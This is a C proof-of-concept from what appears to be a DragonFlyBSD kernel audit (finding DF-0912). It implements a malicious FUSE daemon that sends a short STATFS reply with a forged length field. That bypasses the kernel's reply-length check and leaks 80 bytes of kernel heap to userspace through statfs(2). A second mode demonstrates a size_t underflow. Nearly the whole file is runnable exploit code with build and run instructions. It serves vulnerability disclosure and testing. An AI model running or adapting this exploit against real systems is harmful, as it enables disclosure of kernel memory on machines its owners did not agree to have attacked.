โฌข DragonFlyBSD Kernel Audit
DF-0912 / fused_df0912.c
โ† back to finding โ†“ download raw
/*
 * DF-0912 โ€” Malicious FUSE daemon that demonstrates:
 *
 *   (1) the OOB heap read caused by `fuse_audit_length` validating the
 *       daemon-CLAIMED ohd->len instead of the actual reply buffer size
 *       (root cause shared with DF-0895 / DF-0915);
 *   (2) the integer underflow at fuse_util.c:89 when ohd->len < 16
 *       (size_t len = ohd->len - sizeof(struct fuse_out_header) wraps to
 *       ~SIZE_MAX) โ€” for the size-checked opcodes this still fails the audit
 *       (so no OOB), but for the 3 UNCONDITIONAL-PASS opcodes
 *       (FUSE_FORGET/GETXATTR/LISTXATTR) any claimed len, including an
 *       underflowed one, would pass the audit (see VERDICT.md for the
 *       reachability analysis of those 3 opcodes โ€” they are dead code in
 *       the current kernel).
 *
 * Root cause (sys/vfs/fuse/fuse_util.c:fuse_audit_length:87-89):
 *
 *   size_t len = ohd->len - sizeof(struct fuse_out_header);
 *
 * `ohd->len` is the first 4 bytes the daemon writes โ€” fully daemon-controlled.
 * The ACTUAL reply buffer length is `fb.len` (sized by `fuse_buf_alloc(&fb,
 * uio->uio_resid)` in fuse_device_write:182), which is NEVER passed to the
 * audit.  A daemon can therefore write a 16-byte buffer (header only) while
 * setting ohd->len to the value the audit expects for the opcode's fixed-size
 * reply struct.  The audit passes; fuse_ipc_tx then returns 0; the consumer
 * (fuse_vfsops.c:fuse_statfs:399 etc.) dereferences sizeof(struct
 * fuse_statfs_out)=80 bytes via fuse_out_data(fip) past the 16-byte
 * kmalloc โ€” an 80-byte kernel heap OOB read whose bytes flow back to
 * userspace via statfs(2).
 *
 * The underflow path (ohd->len < 16) demonstrates the secondary issue: len
 * becomes ~SIZE_MAX, and on most opcodes the `len == X` / `len <= X` checks
 * then fail (audit returns -1, consumer gets EPROTO).  BUT for the 3 opcodes
 * flagged in DF-0912 (FUSE_FORGET/GETXATTR/LISTXATTR) `res=true` is hard-
 * coded, so any len โ€” including ~SIZE_MAX โ€” passes the audit.  Those 3
 * opcodes are not reachable in the current kernel (see VERDICT.md), so the
 * underflow is defense-in-depth; the live exploitable primitive is the OOB
 * read in (1).
 *
 * Threat model (consistent with DF-0780/0895/0915): FUSE is module-only on
 * DragonFly; /dev/fuse is root:operator 0660 and the mount requires
 * privilege, so the malicious daemon runs as root.  Root->kernel is already
 * game-over, but the primitive is a genuine kernel heap disclosure: any local
 * user who can statfs() the mount point receives the leaked bytes, and the
 * audit bypass means a short reply whose claimed ohd->len matches the
 * expected struct size passes silently.
 *
 * Build:  cc -O2 -o fused_df0912 fused_df0912.c
 * Run:    (as root) ./fused_df0912            # valid INIT, short STATFS -> OOB leak
 *         (as root) ./fused_df0912 underflow  # ohd->len=8 for STATFS -> underflow demo
 */
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/uio.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <stdarg.h>
#include <sys/wait.h>

/* ---- FUSE ABI (transcribed from sys/vfs/fuse/fuse_abi.h) ---- */
#define FUSE_KERNEL_VERSION       7
#define FUSE_KERNEL_MINOR_VERSION 28
#define FUSE_ROOT_ID              1

#define FUSE_LOOKUP   1
#define FUSE_FORGET   2
#define FUSE_GETATTR  3
#define FUSE_STATFS   17
#define FUSE_OPEN     14
#define FUSE_INIT     26

/* Opcodes that fuse_audit_length passes UNCONDITIONALLY (DF-0912).
 * These are never reachable in the current kernel:
 *  - FUSE_FORGET (2) uses fuse_ipc_tx_noreply -> no reply is read/audited.
 *  - FUSE_GETXATTR (22) / FUSE_LISTXATTR (23) are never issued by the kernel
 *    (no fuse_ipc_fill(.., FUSE_GETXATTR|FUSE_LISTXATTR, ..) caller exists). */
#define FUSE_GETXATTR  22
#define FUSE_LISTXATTR 23

struct fuse_in_header  { uint32_t len, opcode; uint64_t unique, nodeid; uint32_t uid, gid, pid, padding; };
struct fuse_out_header { uint32_t len; int32_t error; uint64_t unique; };
struct fuse_init_in    { uint32_t major, minor, max_readahead, flags; };
struct fuse_init_out   { uint32_t major, minor, max_readahead, flags; uint16_t max_background, congestion_threshold; uint32_t max_write, time_gran; uint16_t max_pages, padding; uint32_t unused[8]; };
struct fuse_attr       { uint64_t ino, size, blocks, atime, mtime, ctime; uint32_t atimensec, mtimensec, ctimensec, mode, nlink, uid, gid, rdev, blksize, padding; };
struct fuse_entry_out  { uint64_t nodeid, generation, entry_valid, attr_valid; uint32_t entry_valid_nsec, attr_valid_nsec; struct fuse_attr attr; };
struct fuse_attr_out   { uint64_t attr_valid; uint32_t attr_valid_nsec, dummy; struct fuse_attr attr; };
struct fuse_open_out   { uint64_t fh; uint32_t open_flags, padding; };
struct fuse_kstatfs    { uint64_t blocks, bfree, bavail, files, ffree; uint32_t bsize, namelen, frsize, padding; uint32_t spare[6]; };
struct fuse_statfs_out { struct fuse_kstatfs st; };

struct fuse_mount_info { int flags; int fd; int max_read; const char *subtype; const char *from; };

/*
 * Expected (declared) reply sizes โ€” what fuse_audit_length checks the
 * daemon-CLAIMED ohd->len against (NOT the actual buffer length):
 *   FUSE_INIT   : sizeof(fuse_out_header) + sizeof(fuse_init_out)   = 16 + 64 = 80
 *   FUSE_STATFS : sizeof(fuse_out_header) + sizeof(fuse_statfs_out) = 16 + 80 = 96
 */
#define INIT_EXPECTED_LEN   80
#define STATFS_EXPECTED_LEN 96
#define HEADER_LEN          16

/* Underflow demo: ohd->len smaller than sizeof(fuse_out_header)=16.
 * At fuse_util.c:89  size_t len = ohd->len - sizeof(fuse_out_header);
 * this wraps to ~SIZE_MAX.  For STATFS the audit's (len == 80) check then
 * fails (good โ€” consumer gets EPROTO, no OOB); for the 3 unconditional-pass
 * opcodes it would PASS regardless. */
#define STATFS_UNDERFLOW_LEN 8

static int g_fd = -1;
static FILE *g_log;
static int g_underflow_mode = 0;

static void dlog(const char *fmt, ...) {
    va_list ap; va_start(ap, fmt);
    fprintf(g_log, "[daemon %d] ", (int)getpid());
    vfprintf(g_log, fmt, ap);
    va_end(ap);
    fflush(g_log);
}

static int read_request(int fd, uint8_t *buf, size_t bufsz, struct fuse_in_header *ihd) {
    ssize_t n = read(fd, buf, bufsz);
    if (n <= 0) { dlog("read req failed: %s\n", strerror(errno)); return -1; }
    if ((size_t)n < sizeof(*ihd)) { dlog("short read %zd\n", n); return -1; }
    memcpy(ihd, buf, sizeof(*ihd));
    return 0;
}

/*
 * send_reply: write header + optional payload.  If claimed_ohd_len_override
 * is non-zero, the header's ohd->len field is set to that value while only
 * `payload_len` bytes of payload are actually written.
 */
static void send_reply(int fd, uint64_t unique, int32_t error,
                       const void *payload, size_t payload_len,
                       uint32_t claimed_ohd_len_override,
                       const char *tag) {
    size_t actual = sizeof(struct fuse_out_header) + payload_len;
    uint8_t *out = calloc(1, actual);
    struct fuse_out_header *ohd = (struct fuse_out_header *)out;
    ohd->unique = unique;
    ohd->error  = error;
    ohd->len    = claimed_ohd_len_override ? claimed_ohd_len_override : (uint32_t)actual;
    if (payload && payload_len)
        memcpy(out + sizeof(*ohd), payload, payload_len);
    ssize_t w = write(fd, out, actual);
    dlog("reply unique=%ju error=%d payload=%zu actual_write=%zd "
         "claimed_ohd->len=%u  %s%s\n",
         (uintmax_t)unique, error, payload_len, w, ohd->len,
         (w < 0) ? "<<<<< write REJECTED by kernel" : "",
         tag ? tag : "");
    free(out);
}

static void make_attr(struct fuse_attr *a, uint64_t ino) {
    memset(a, 0, sizeof(*a));
    a->ino  = ino;
    if (ino == FUSE_ROOT_ID) {
        a->mode = 0040755;     /* S_IFDIR | 0755 */
        a->nlink = 2;
        a->size = 4096;
    } else {
        a->mode = 0100644;
        a->nlink = 1;
        a->size = 0;
    }
    a->blksize = 4096;
    a->blocks = (a->size + 511) / 512;
}

static void daemon_loop(int fd) {
    dlog("I/O loop started on fd %d (underflow_mode=%d)\n", fd, g_underflow_mode);
    for (;;) {
        uint8_t req[65536];
        struct fuse_in_header ihd;
        if (read_request(fd, req, sizeof(req), &ihd) < 0)
            return;
        dlog("REQ opcode=%u unique=%ju nodeid=%ju len=%u\n",
             ihd.opcode, (uintmax_t)ihd.unique, (uintmax_t)ihd.nodeid, ihd.len);

        switch (ihd.opcode) {
        case FUSE_INIT: {
            struct fuse_init_out io;
            memset(&io, 0, sizeof(io));
            io.major = FUSE_KERNEL_VERSION;
            io.minor = FUSE_KERNEL_MINOR_VERSION;
            io.max_readahead = 4096;
            io.max_write = 1 << 20;
            io.max_pages = 256;
            send_reply(fd, ihd.unique, 0, &io, sizeof(io), 0, NULL);
            break;
        }
        case FUSE_STATFS: {
            if (g_underflow_mode) {
                /* DF-0912 underflow demo: claim ohd->len = 8 (< 16).  Audit
                 * fuse_util.c:89 underflows size_t to ~SIZE_MAX; for STATFS
                 * the (len==80) check fails -> consumer gets EPROTO -> no
                 * OOB.  This proves the underflow is real but, for
                 * size-checked opcodes, harmless (the size check catches it).
                 * For the 3 unconditional-pass opcodes it would NOT be caught
                 * (but those are unreachable in this kernel). */
                dlog("  FUSE_STATFS -> UNDERFLOW claimed ohd->len=8 (audit underflows; STATFS size-check still catches it -> EPROTO)\n");
                send_reply(fd, ihd.unique, 0, NULL, 0, STATFS_UNDERFLOW_LEN,
                           "<<<<< DF-0912 UNDERFLOW (ohd->len<16 wraps size_t)");
            } else {
                /* DF-0912 / DF-0895 root-cause demo: claim ohd->len = 96
                 * (the value the audit expects for STATFS) while writing
                 * ONLY the 16-byte header.  Audit at fuse_util.c:138-140
                 * computes len = 96-16 = 80 == sizeof(fuse_statfs_out) ->
                 * passes.  Consumer fuse_statfs then dereferences 80 bytes
                 * past the 16-byte kmalloc -> kernel heap OOB read. */
                dlog("  FUSE_STATFS -> SHORT reply claimed ohd->len=96 (audit bypass -> kernel OOB reads 80 bytes)\n");
                send_reply(fd, ihd.unique, 0, NULL, 0, STATFS_EXPECTED_LEN,
                           "<<<<< DF-0912 OOB TRIGGER (claimed len matches audit; actual write is header-only)");
            }
            break;
        }
        case FUSE_LOOKUP: {
            struct fuse_entry_out eo;
            memset(&eo, 0, sizeof(eo));
            eo.nodeid = 1; eo.generation = 1;
            eo.entry_valid = 3600; eo.attr_valid = 3600;
            make_attr(&eo.attr, FUSE_ROOT_ID);
            send_reply(fd, ihd.unique, 0, &eo, sizeof(eo), 0, NULL);
            break;
        }
        case FUSE_GETATTR: {
            struct fuse_attr_out ao;
            memset(&ao, 0, sizeof(ao));
            ao.attr_valid = 3600;
            make_attr(&ao.attr, ihd.nodeid);
            send_reply(fd, ihd.unique, 0, &ao, sizeof(ao), 0, NULL);
            break;
        }
        case FUSE_OPEN: {
            struct fuse_open_out oo;
            memset(&oo, 0, sizeof(oo));
            oo.fh = 1;
            send_reply(fd, ihd.unique, 0, &oo, sizeof(oo), 0, NULL);
            break;
        }
        case FUSE_FORGET:
            /* DF-0912 note: FUSE_FORGET uses fuse_ipc_tx_noreply; the kernel
             * never reads a reply, so fuse_audit_length is never called on a
             * FUSE_FORGET reply.  The unconditional `res = true` at
             * fuse_util.c:96-98 is dead code. */
            dlog("  FUSE_FORGET (no reply; audit never invoked)\n");
            break;
        default:
            dlog("  unhandled opcode %u -> ENOSYS\n", ihd.opcode);
            send_reply(fd, ihd.unique, -ENOSYS, NULL, 0, 0, NULL);
            break;
        }
    }
}

/* child: mount, then issue statfs() to capture the leaked bytes (or, in
 * underflow mode, observe the EPROTO error from the kernel). */
static int child_mount_and_statfs(int fd) {
    struct fuse_mount_info args;
    memset(&args, 0, sizeof(args));
    args.fd   = fd;
    args.from = "/dev/fuse";
    args.max_read = 1 << 20;

    mkdir("/mnt/df0912", 0755);
    rmdir("/mnt/df0912");
    mkdir("/mnt/df0912", 0755);

    dlog("child: mount(fuse, /mnt/df0912, fd=%d)\n", fd);
    if (mount("fuse", "/mnt/df0912", 0, &args) < 0) {
        dlog("child: mount failed: %s\n", strerror(errno));
        return 1;
    }
    dlog("child: mount succeeded\n");

    for (int iter = 0; iter < 3; iter++) {
        struct statfs sf;
        memset(&sf, 0, sizeof(sf));
        if (statfs("/mnt/df0912", &sf) < 0) {
            /* In underflow mode the kernel returns EPROTO (audit fails) and
             * statfs propagates it. */
            printf("[iter %d] statfs FAILED: %s  (%s)\n", iter, strerror(errno),
                   g_underflow_mode ?
                     "expected in underflow mode โ€” audit rejected the reply" :
                     "unexpected");
            fflush(stdout);
            continue;
        }
        /* In both modes, statfs returning 0 means the kernel-side consumer
         * (fuse_statfs -> fuse_ipc_tx) proceeded past the audit.  In OOB
         * mode the audit passed (claimed len matched).  In underflow mode
         * the audit FAILED (returned EPROTO to the daemon's write()) but
         * the IPC completed regardless (fuse_device.c:218 "Complete the IPC
         * regardless of above result") and ohd->error was left at 0, so the
         * consumer still dereferences fuse_out_data(fip) -> OOB read.
         *
         * Any non-zero byte in the fields below is kernel heap leaked by
         * the OOB read past the 16-byte reply buffer. */
        printf("[iter %d] statfs %s fields (non-zero == OOB heap read):\n", iter,
               g_underflow_mode ? "(underflow: audit rejected write but consumer still read OOB)" :
                                  "(OOB: audit bypassed via claimed len)");
        printf("  f_blocks = 0x%016jx  (%ju)\n", (uintmax_t)sf.f_blocks, (uintmax_t)sf.f_blocks);
        printf("  f_bfree  = 0x%016jx  (%ju)\n", (uintmax_t)sf.f_bfree,  (uintmax_t)sf.f_bfree);
        printf("  f_bavail = 0x%016jx  (%ju)\n", (uintmax_t)sf.f_bavail, (uintmax_t)sf.f_bavail);
        printf("  f_files  = 0x%016jx  (%ju)\n", (uintmax_t)sf.f_files,  (uintmax_t)sf.f_files);
        printf("  f_ffree  = 0x%016jx  (%ju)\n", (uintmax_t)sf.f_ffree,  (uintmax_t)sf.f_ffree);
        printf("  f_bsize  = %u  f_iosize = %u\n", (unsigned)sf.f_bsize, (unsigned)sf.f_iosize);
        fflush(stdout);
    }

    unmount("/mnt/df0912", MNT_FORCE);
    return 0;
}

int main(int argc, char **argv) {
    g_log = fopen("/tmp/df0912_daemon.log", "w");
    if (!g_log) g_log = stderr;
    setvbuf(g_log, NULL, _IOLBF, 0);

    if (argc > 1 && strcmp(argv[1], "underflow") == 0)
        g_underflow_mode = 1;

    signal(SIGPIPE, SIG_IGN);

    g_fd = open("/dev/fuse", O_RDWR);
    if (g_fd < 0) {
        dlog("open /dev/fuse failed: %s (need root + operator group; is fuse.ko loaded?)\n",
             strerror(errno));
        return 2;
    }
    dlog("opened /dev/fuse fd=%d  mode=%s\n", g_fd,
         g_underflow_mode ? "UNDERFLOW" : "OOB-READ");

    pid_t pid = fork();
    if (pid < 0) { dlog("fork failed: %s\n", strerror(errno)); return 3; }
    if (pid == 0) {
        int rc = child_mount_and_statfs(g_fd);
        dlog("child exiting rc=%d\n", rc);
        _exit(rc);
    }
    daemon_loop(g_fd);
    int st;
    waitpid(pid, &st, 0);
    dlog("parent: child status=%d; done\n", st);
    close(g_fd);
    fclose(g_log);
    return 0;
}